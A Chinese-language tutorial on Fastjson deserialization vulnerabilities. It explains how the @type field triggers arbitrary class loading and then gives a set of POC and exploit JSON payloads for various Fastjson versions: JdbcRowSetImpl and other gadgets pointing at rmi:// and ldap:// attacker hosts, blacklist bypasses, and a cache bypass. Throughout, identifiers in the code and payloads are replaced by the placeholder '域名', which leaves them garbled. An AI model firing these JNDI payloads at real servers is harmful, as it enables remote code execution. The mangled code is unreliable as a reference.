【Fastjson】Fastjson反序列化由浅入深
Fastjson真-简-介
fastjson是由alibaba开发并维护的一个json工具,以其特有的算法,号称最快的json库
fastjson的使用
首先先创一个简单的测试类User
public class user {
public String username;
public String password;
public user(String username, String password) {
域名name = username;
域名word = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
域名name = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
域名word = password;
}
}
使用fastjson进行序列化和反序列化操作
public class Fastjson {
public static void main(String[] args) {
user user = new user("Bob", "域名");
//序列化方式--指定类和不指定类
String json1 = 域名ONString(user);
域名tln(json1);//{"password":"域名","username":"域名"}
String json2 = 域名ONString(user, 域名eClassName);
域名tln(json2);//{"@type":"域名.域名","password":"域名","username":"域名"}
//反序列化
//默认解析为JSONObject
域名tln(域名e(json1)); //{"password":"域名","username":"Bob"}
域名tln(域名e(json1).getClass().getName()); //域名域名Object
//依据序列化中的@type进行自动反序列化成目标对象类型
域名tln(域名e(json2)); //域名.域名@24b1d79b
域名tln(域名e(json2).getClass().getName()); //域名.域名
//手动指定type,反序列化成目标对象类型
域名tln(域名eObject(json1, 域名s)); //域名.域名@68ceda24
域名tln(域名eObject(json1, 域名s).getClass().getName()); //域名.域名
}
}
上述的序列化和反序列化操作,一定要手动实践。
执行后你会发现,使用域名ONString进行序列化时,可以设置是否将对象的类型也作为序列化的内容。当对字符串进行反序列化操作时,如果序列化字符串中有@type则会按照该类型进行反序列化操作,而如果没有该属性,则默认都返回JSONObject对象(一种字典类型数据存储)。当没有@type,但又想反序列化成指定的类对象时,需要通过域名eObject()同时传入该类的class对象,才能反序列成指定的对象。
注意:反序列化的对象必须具有默认的无参构造器和get|set方法,反序列化的底层实现就是通过无参构造器和get .set方法进行的
漏洞点:由于序列化数据是从客户端发送的,如果将type属性修改成恶意的类型,再发送过去,而接收方进行正常的反序列化操作时,不就可以实现任意类的反序列化操作!!!
原理探究
序列化
...
public static final String toJSONString(Object object, SerializerFeature... features) {
SerializeWriter out = new SerializeWriter();
try {
JSONSerializer serializer = new JSONSerializer(out);
for (域名域名alizerFeature feature : features) {
域名ig(feature, true);
}
域名e(object);
return 域名ring();
}
}
...
当指定要将类的名字写入到序列化数据中时,就是将其写入到JSONSerializer的配置中,当执行写操作时,JSONSerializer会依据config,进行序列化操作。
手动指定类对象进行反序列化
当手动指定类对象时,JSON会根据指定的Class进行加载和映射。
自动反序列化
跟了比较久,容易跟丢
第一张是调用图,第二张图是自动反序列化的关键点。在这里,首先就是会先进行词法分析(不知道的可以理解为按一定格式的将字符串分割),提取到字符串后,进行匹配,如果存在@type,那么就会进行如图中的动态加载对象,再完成后续操作,这也就是为什么可以实现自动类匹配加载。
fastjson反序列化利用
上面的篇幅,相信应该讲清楚了,传入@type实现自动类匹配加载的原理。
上面也提到了,只要我们可以控制@type类就可以加载任意我们想要加载的类,从而实现漏洞利用
POC
// 目前最新版域名版本可以使用域名 < fastjson <= 域名
String payload = "{{\"@type\":\"域名\",\"val\"" +":\"http://域名\"}:\"summer\"}";
// 全版本支持 fastjson <= 域名
String payload1 = "{\"@type\":\"域名4Address\",\"val\":\"域名\"}";
String payload2 = "{\"@type\":\"域名6Address\",\"val\":\"域名\"}";
在对渗透点判断是否存在fastjson反序列化时,可以利用dnslog进行漏洞验证
默认情况下,fastjson只对public属性进行反序列化操作,如果POC或则EXP中存在private属性时,需要服务端开启了SupportNonPublicField功能。
EXP
域名
漏洞简介:
fastjson判断类名是否以L开头、以;结尾,是的话就提取出其中的类名再加载。
exp
{"@type":"域名域名RowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}\
域名
域名 版本新增了校验机制,如果输入类名的开头和结尾是l和;就将头和尾去掉,再进行黑名单验证。
所以绕过需要在类名外部嵌套两层L;。
exp
{
"b":{
"@type":"域名域名RowSetImpl;;",
"dataSourceName":"rmi://域名.xx:9999/poc",
"autoCommit":true
}
}
fastjson>=域名 autoTypeSupport 属性默认为关闭
fastjson = 域名
利用条件
1)、目标服务端存在mybatis的jar包。
2)、版本需为 3.x.x ~ 3.5.0
3)、autoTypeSupport属性为true才能使用。(fastjson >= 域名默认为false)
exp
{"@type":"域名域名.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
fastjson <= 域名
漏洞简介:
首先使用域名s把获取到的类缓存到mapping中,然后直接从缓存中获取到了域名域名RowSetlmpl这个类,绕过黑名单机制。
利用条件
小于 域名 版本的通杀,autoType为关闭状态也可以。
loadClass中默认cache设置为true。
exp
{
"a": {
"@type": "域名s",
"val": "域名域名RowSetImpl"
},
"b": {
"@type": "域名域名RowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
} }
fastjson <= 域名
黑名单绕过
{"@type":"域名域名Converter","AsText":"rmi://127.0.0.1:1099/exploit"}";
fastjson <= 域名
利用条件:
autoTypeSupport属性为true才能使用。(fastjson >= 域名默认为false)
漏洞简介:
基于黑名单绕过。
exp
{"@type":"域名域名ObjectFactory","resourceName":"ldap://域名.1:1389/Calc"}
{"@type":"域名域名rosDBCPConfig","metricRegistry":"ldap://域名.1:1389/Calc"}{"@type":"域名域名.域名eJndiTmLookup","jndiNames":"ldap://x.x.x.x:1389/Calc"}
{"@type":"域名域名域名ransactionConfig","properties":
{"@type":"域名erties","UserTransacti
on":"ldap://x.x.x.x:1389/Calc"}}
ENDING
There is no system which has absolute SECURITY!
U Know It,U Hack It!